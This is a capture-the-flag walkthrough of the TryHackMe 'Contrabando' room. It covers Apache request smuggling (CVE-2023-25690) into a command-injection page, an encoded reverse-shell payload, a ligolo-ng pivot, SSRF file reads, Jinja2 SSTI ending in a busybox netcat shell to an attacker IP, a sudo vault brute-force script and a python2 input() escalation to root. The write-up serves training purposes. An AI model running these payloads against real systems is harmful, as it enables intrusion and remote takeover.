> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2025/contrabando.md).

# Contrabando

{% embed url="<https://tryhackme.com/room/contrabando>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

{% hint style="info" %}
This write-up is a bit rushed and will be updated in the future.&#x20;
{% endhint %}

## Recon

We start with an Nmap scan and find two open ports. Port `22`, on which we have SSH available, and port `80`, on which an `Apache/2.4.55` web server is running.

<figure><img src="/files/p7eWHCAatCUEkUtxUomz" alt=""><figcaption></figcaption></figure>

We visit the site and on the index page we are asked to visit the beta page.

<figure><img src="/files/mSj7nJf0SOQ28zyTBz2u" alt=""><figcaption></figcaption></figure>

Here we get the info, that the password generator is currently down.

<figure><img src="/files/pG9RZ711FnHYOr04uZn7" alt=""><figcaption></figcaption></figure>

Trying to read any files gives us an interesting output, a readfile function throws an error, that the file is not available. Furhtermore somehow PHP is in place.

<figure><img src="/files/JGWCt3CnVqMyL4xurcKm" alt=""><figcaption></figcaption></figure>

Next,  we perform a directory scan using Feroxbuster, nothing special pops up.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://contrabando.thm/"
```

{% endcode %}

<figure><img src="/files/Jkmo9UTPLay67MVNu4va" alt=""><figcaption></figcaption></figure>

We include the file extensions html and php in our scan and find to more interesting pages `/page/index.php` and `/page/gen.php`.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://contrabando.thm/" -x html,php
```

{% endcode %}

<figure><img src="/files/prD1q2TNDFHSDPsH5SgX" alt=""><figcaption></figcaption></figure>

We visit both sites, and we get a glimpse of PHP code. It does not get evaluted. Furthermore not  `Apache/2.4.55` is responding, its  `Apache/2.4.54`.

```
http://contrabando.thm/page/index.php
```

<figure><img src="/files/33EMB4GkSF5CX5zHoqQl" alt=""><figcaption></figcaption></figure>

The page `index.php` takes the `page` parameter from the URL and displays the contents of that file, or redirects to `home.html` if no parameter is given. That seems the exact functionality of `http://contrabando.thm/page/`. So some sort of redirection takes place beween those servers.

{% code title="index.php" overflow="wrap" lineNumbers="true" %}

```php
<?php 
    $page = $_GET['page'];
    if (isset($page)) {
        readfile($page);
    } else {
        header('Location: /index.php?page=home.html');
    }
?>
```

{% endcode %}

Next we visit `http://contrabando.thm/page/gen.php`.

```
http://contrabando.thm/page/gen.php
```

<figure><img src="/files/IaC2Sud26jvyURlX9XRl" alt=""><figcaption></figcaption></figure>

The page `gen.php` generates and prints a random alphanumeric password of the given length (from `$_POST['length']`) using `/dev/urandom`, or tells you to provide the length if not set. It seems pretty vulnerable to command injection.&#x20;

Untrusted input (`$_POST['length']`) gets straight into a shell pipeline executed by `exec()`. We could run arbitrary commands. We could inject a command like `1;$(id)` .

It seems like we need to reach that site somehow to get our foothold.

{% code title="gen.php" overflow="wrap" lineNumbers="true" %}

```php
<?php
        function generateRandomPassword($length) {
            $password = exec("tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c " . $length);
            return $password;
        }
        
        if(isset($_POST['length'])){
                $length = $_POST['length'];
                $randomPassword = generateRandomPassword($length);
                echo $randomPassword;
        }else{
            echo "Please insert the length parameter in the URL";
        }
?>
```

{% endcode %}

## HTTP Request Smuggling Attempts

To identify and and exploit HTTP Request Smuggling we can follow the follwoing resource:

{% embed url="<https://portswigger.net/web-security/request-smuggling/finding>" %}

While researching on that topic again I came across this resource:

{% embed url="<https://pentestbook.six2dez.com/enumeration/web/request-smuggling>" %}

Unfortunately non of those technique did work.&#x20;

## Shell as www-data

The Nmap output suggested that HTTP Trace requests are possible and risky. An HTTP TRACE request is a diagnostic method that asks the server to return the exact request it received, mainly used for debugging. We issue that request on `/` and `/page/home.html`. We receive two different reponses.  `/page/home.html` reveals us the port and vhost of the webserver.

<figure><img src="/files/z6Ce0KLegc7ZQtP8beoZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gFvG75Ez2jhykLnCEBQE" alt=""><figcaption></figcaption></figure>

### HTTP Request Smuggling - Further Research

On researching for CVEs on Apache HTTP Servers we'll come acros `CVE-2023-25960`.

It addressess that some mod\_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling via CRLF injection in RewriteRule/ProxyPassMatch :

{% embed url="<https://www.cvedetails.com/cve/CVE-2023-25690/>" %}

Also a PoC is available:

{% embed url="<https://github.com/dhmosfunk/CVE-2023-25690-POC>" %}

### Request Preparation

What we know so far:&#x20;

Frontend web-server: `Apache/2.4.55`

Backend web-server: `Apache/2.4.54`&#x20;

The command injectable page is available at `backend-server:8080/gen.php`.

We want to apply what is shown in the PoC. We follow the identification process of a CRLF Injection:

> Identifying the CRLF Injection
>
> Based on the advisory description the httpd <=2.4.55 is vulnerable to HTTP Response Splitting also known as CRLF Injection.\
> The CRLF Injection occurs when:
>
> * Data enters a web application through an untrusted source, most frequently an HTTP request
> * The data is included in an HTTP response header sent to a web user without being validated for malicious characters.
>
> which in our case can be confirmed passing the following CRLF prefix in URL:
>
> ```
>  HTTP/1.1\r\nFoo: baarr\r\n\r\n
> %20HTTP/1.1%0d%0aFoo:%20baarr
> ```
>
> By appending the above prefix to the URL, the resulting final request will be as follows:
>
> ```
> GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
> Host: 192.168.1.103
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
> ```
>
> Following the request, the server will process the data and return a 200 response code indicating vulnebility to CRLF Injection.
>
> ```
> HTTP/1.1 200 OK
> Date: Mon, 22 May 2023 02:05:28 GMT
> Server: Apache/2.4.54 (Debian)
> X-Powered-By: PHP/7.4.33
> Content-Length: 21
> Content-Type: text/html; charset=UTF-8
>
> You category ID is: 1
> ```

{% embed url="<https://github.com/dhmosfunk/CVE-2023-25690-POC>" %}

We make a usual request and caputre it in Burp Suite.

<figure><img src="/files/XtGh2YHjEDVz36SS9V1y" alt=""><figcaption></figcaption></figure>

We edit the request like the following. Since we get a 200 it might be vulnerable.

```
GET /page/index.php%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 10.10.62.105
```

<figure><img src="/files/dgNoxv7MdEXC5z2btr9E" alt=""><figcaption></figcaption></figure>

Next, we generate our reverse shell payload using revshells.com.

<figure><img src="/files/Ezhwktpe2QOjnaNLJtzc" alt=""><figcaption></figcaption></figure>

We double base64 encode it, to circumvent any special characters. We follow the PoC and prepare a request:

{% code overflow="wrap" %}

```
GET /page/gen.php HTTP/1.1
Host: backend-server:8080

POST /gen.php HTTP/1.1
Host: backend-server:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 130

length=1;$(echo TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFMExqa3dMakl6TlM4ME5EUTFJREErSmpFPQ==|base64 -d|base64 -d|bash) HTTP/1.1
Host: contrabando.thm
```

{% endcode %}

Next, we URL encode the request and issue it using Burp Suite.

```
GET /page/gen.php%20HTTP/1.1%0d%0aHost:%20backend-server:8080%0d%0a%0d%0aPOST%20/gen.php%20HTTP/1.1%0d%0aHost:%20backend-server:8080%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20130%0d%0a%0d%0alength=1;$(echo+TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFMExqa3dMakl6TlM4ME5EUTFJREErSmpFPQ==|base64+-d|base64+-d|bash) HTTP/1.1
Host: contrabando.thm


```

<figure><img src="/files/MKUv8MxH1SlSYqtJRP8P" alt=""><figcaption></figcaption></figure>

We won't get a response, but receive a connection back to our listener. We are `www-data` in a docker container.

<figure><img src="/files/bHD4Mxravzx0S5oWJq8I" alt=""><figcaption></figcaption></figure>

## Shell as hansolo&#x20;

No valid Docker escape could be found while enumerating the docker container. DirtyPipe was suggested by the following script:&#x20;

{% embed url="<https://github.com/teamssix/container-escape-check>" %}

But it could not be exploited.

### Ligolo-ng Setup

We set up ligolog-ng to reach out to the host and other containers in order to identify services running internally.

{% embed url="<https://github.com/nicocha30/ligolo-ng/releases/tag/v0.8.2>" %}

#### Ligolo-ng Setup <a href="#ligolo-ng-setup" id="ligolo-ng-setup"></a>

For the subsequent phases, we use ligolo to relay traffic between the docker container and our attacker machine to make the internal and external services of the docker container accessible from the container to our attacker machine.

> **Ligolo-ng** is a *simple*, *lightweight* and *fast* tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a **tun interface** (without the need of SOCKS).

First, we set up a TUN (network tunnel) interface called ligolo on our attacker machine and configuring routes to forward traffic for specific IP ranges (`240.0.0.1`, `172.18.1.0/24`) through the tunnel.

```
sudo ip tuntap add user 0xb0b mode tun ligolo
```

```
sudo ip link set ligolo up 
```

```
sudo ip route add 240.0.0.1 dev ligolo
```

```
sudo ip route add 172.18.0.0/24 dev ligolo
```

Next, we get the agent on the docker container and connect to our proxy.

```
curl http://10.14.90.235/agent -o agent
```

```
chmod +x agent
```

```
./agent -connect 10.14.90.235:11601 --ignore-cert
```

<figure><img src="/files/QP9NdvbDIuitpzHPEgXM" alt=""><figcaption></figcaption></figure>

We get a message on our ligolo-ng proxy that an agent has joined. We use `session` to select the session and then start it.

<figure><img src="/files/Y6fbK6HLsPlsnJMlO6CG" alt=""><figcaption></figcaption></figure>

We are now able to reach the machines on networks `172.18.0.0/24` and the machines services itself.&#x20;

<figure><img src="/files/r59cJHkwGHqH0DPyUALo" alt=""><figcaption></figcaption></figure>

A quick scan on `172.18.0.1` reveals a service on port `5000`. A service scan reveals it is a Werkzeug/3.0.0 Python/3.8.10 server.

<figure><img src="/files/s5b84ZjAqA7JwNvWig5G" alt=""><figcaption></figcaption></figure>

### SSRF

We are able to fetch some sites. We try to reach out to our own web server.&#x20;

<figure><img src="/files/2zKynOCuive8dN6A3wZS" alt=""><figcaption></figcaption></figure>

### File Read

But also file inclusion is possible.

```
file:///etc/passwd
```

<figure><img src="/files/ovTZFh0eiehgEelsR2qV" alt=""><figcaption></figcaption></figure>

We are currently running as the user `/home/hansolo`.  But we are not able to fetch the user flag yet. It might have a different name. There are also no SSH related files.

```
file:///proc/self/environ
```

<figure><img src="/files/UC75AwDrpCs2CscPsPhZ" alt=""><figcaption></figcaption></figure>

Next we investigate on`/proc/self/cmdline, this` contains the full command-line arguments of the currently running process, stored as a null (`\0`) separated string. This reveals us the location of the `app.py` that is running.

```
file:///proc/self/cmdline
```

<figure><img src="/files/sBYzR22KANmmZF82G6Fp" alt=""><figcaption></figcaption></figure>

### SSTI

It is a Flask application that allows a user to enter a URL, fetches the content of that URL with pycurl, and then displays the result inside a dynamically generated HTML page. The vulnerability lies in the fact that the fetched content is injected directly into a string that is passed to **`render_template_string`**, which is a Jinja2 template renderer. Because of this, if the fetched page contains template expressions like `{{7*7}}`, they will be evaluated by the server, leading to a Server-Side Template Injection (SSTI) vulnerability.

```
file:///home/hansolo/app/app.py
```

<figure><img src="/files/l3i0uZw6LNM0Q8wZVmu0" alt=""><figcaption></figcaption></figure>

{% code title="app.py" overflow="wrap" lineNumbers="true" %}

```
from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def display_website():
    if request.method == 'POST':
        website_url = request.form['website_url']

        # Use pycurl to fetch the content of the website
        buffer = BytesIO()
        c = pycurl.Curl()
        c.setopt(c.URL, website_url)
        c.setopt(c.WRITEDATA, buffer)
        c.perform()
        c.close()

        # Extract the content and convert it to a string
        content = buffer.getvalue().decode('utf-8')
        buffer.close()
        website_content = '''
        <!DOCTYPE html>
<html>
<head>
    <title>Website Display</title>
</head>
<body>
    <h1>Fetch Website Content</h1>
    <h2>Currently in Development</h2>
    <form method="POST">
        <label for="website_url">Enter Website URL:</label>
        <input type="text" name="website_url" id="website_url" required>
        <button type="submit">Fetch Website</button>
    </form>
    <div>
        %s
    </div>
</body>
</html>'''%content

        return render_template_string(website_content)

    return render_template('index.html')

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=False)
```

{% endcode %}

We test the SSTI by providing a file that contains `{{7*7}}`.

```
http://10.14.90.235/ssti
```

<figure><img src="/files/1PPXZN4COvAvbHSoYt1f" alt=""><figcaption></figcaption></figure>

It gets evaluated. Now we just edit the ssti file while testing and request it, to get it evaluated.

<figure><img src="/files/o4fz7dFY8PWaRkljUMOz" alt=""><figcaption></figcaption></figure>

We use a payload from Ingo Kleiber to test for RCE on Flask (Jinja2) SSTI and are successful:

[A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Examplekleiber.me - Ingo Kleiber](https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/)

```
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

<figure><img src="/files/ovpE1HyeiZR6EK4VYnth" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4jTCpP6YgXW7JKQ5p7gE" alt=""><figcaption></figcaption></figure>

Next, we try to find and read the flag.

{% code overflow="wrap" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('ls /home/hansolo').read()}}
```

{% endcode %}

{% code overflow="wrap" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /home/hansolo/REDACTEDFILENAME').read()}}
```

{% endcode %}

<figure><img src="/files/kw6ysgsBV8bfTLjVEPGq" alt=""><figcaption></figcaption></figure>

We now pop a shell using busybox. We get a connection back to our listener and are the user `hansolo`. Next, we upgrade our shell: <https://0xffsec.com/handbook/shells/full-tty/>

{% code overflow="wrap" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('busybox nc 10.14.90.235 4445 -e /bin/bash').read()}}
```

{% endcode %}

<figure><img src="/files/reLdnK76SfO6bDhYYcN5" alt=""><figcaption></figcaption></figure>

## Shell as root

We see we are able to run `/usr/bin/bash /usr/bin/vault` without a password and `/usr/bin/python* /opt/generator/app.py` with a password as `root` using sudo. Since we are missing a password yet, we focus on the former.

<figure><img src="/files/iVmEnrlahe1R0hRILOZR" alt=""><figcaption></figcaption></figure>

`/usr/bin/vault` is a script that checks if `/root/password` exists and, if so, compares its contents with user input; if they match, it prints `/root/secrets`, otherwise it shows a mismatch message.

{% code title="/usr/bin/vault " overflow="wrap" lineNumbers="true" %}

```
#!/bin/bash

check () {
        if [ ! -e "$file_to_check" ]; then
            /usr/bin/echo "File does not exist."
            exit 1
        fi
        compare
}


compare () {
        content=$(/usr/bin/cat "$file_to_check")

        read -s -p "Enter the required input: " user_input

        if [[ $content == $user_input ]]; then
            /usr/bin/echo ""
            /usr/bin/echo "Password matched!"
            /usr/bin/cat "$file_to_print"
        else
            /usr/bin/echo "Password does not match!"
        fi
}

file_to_check="/root/password"
file_to_print="/root/secrets"

check

```

{% endcode %}

Fortunately we can bypass the check with `*` and get the content of `/root/secrets`.

<figure><img src="/files/25nsA0RnWGesFtpxputV" alt=""><figcaption></figcaption></figure>

But we still need a password. We can try to brute it with a script and try every character using the preceding wildcard. The following script brute-forces the secret password one character at a time by appending each possible character from a defined charset and checking the response from the `vault` program. It continues until no new character is found to recover the full password.

{% code title="brute.sh" overflow="wrap" lineNumbers="true" %}

```
#!/bin/bash
# Full charset: letters, digits, and common specials
charset='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/'

password=""

while true; do
    found_char=""
    for ((i=0; i<${#charset}; i++)); do
        c="${charset:$i:1}"
        guess="${password}${c}*"

        # run vault and feed it the guess
        output=$(echo "$guess" | sudo /usr/bin/bash /usr/bin/vault 2>/dev/null)

        if echo "$output" | grep -q "Password matched!"; then
            password+=$c
            echo "[+] Current password: $password"
            found_char=1
            break
        fi
    done

    # stop when no char matched → full password recovered
    if [ -z "$found_char" ]; then
        echo "[*] Finished! Full password: $password"
        break
    fi
done

```

{% endcode %}

We provide the script with our web server and run it. The password is not the `root` password.

<figure><img src="/files/HQMPINnWTu7qf7QLIj8i" alt=""><figcaption></figcaption></figure>

It's the password of `hansolo`.

<figure><img src="/files/WFGjPrAwTzdXwR4hjQ4Q" alt=""><figcaption></figcaption></figure>

We are now able to run `/usr/bin/python* /opt/generator/app.py`. The `/opt/generator/app.py` seems to be a password generator.

<figure><img src="/files/H1gkOYcMYtn3Oo4RljXP" alt=""><figcaption></figcaption></figure>

Since we can run it using `python2`...

<figure><img src="/files/W7Jhn3fCXyEw4WjqzkiA" alt=""><figcaption></figcaption></figure>

The `input()` function com in handy since in Python2 `input()` behaves like `eval(raw_input())`.

So all we have to to is to provide the following malicious input to spawn a root shell.

```
__import__('os').system('/bin/bash')

```

<figure><img src="/files/tyMkWvjeHdmQFKxmfh0x" alt=""><figcaption></figcaption></figure>
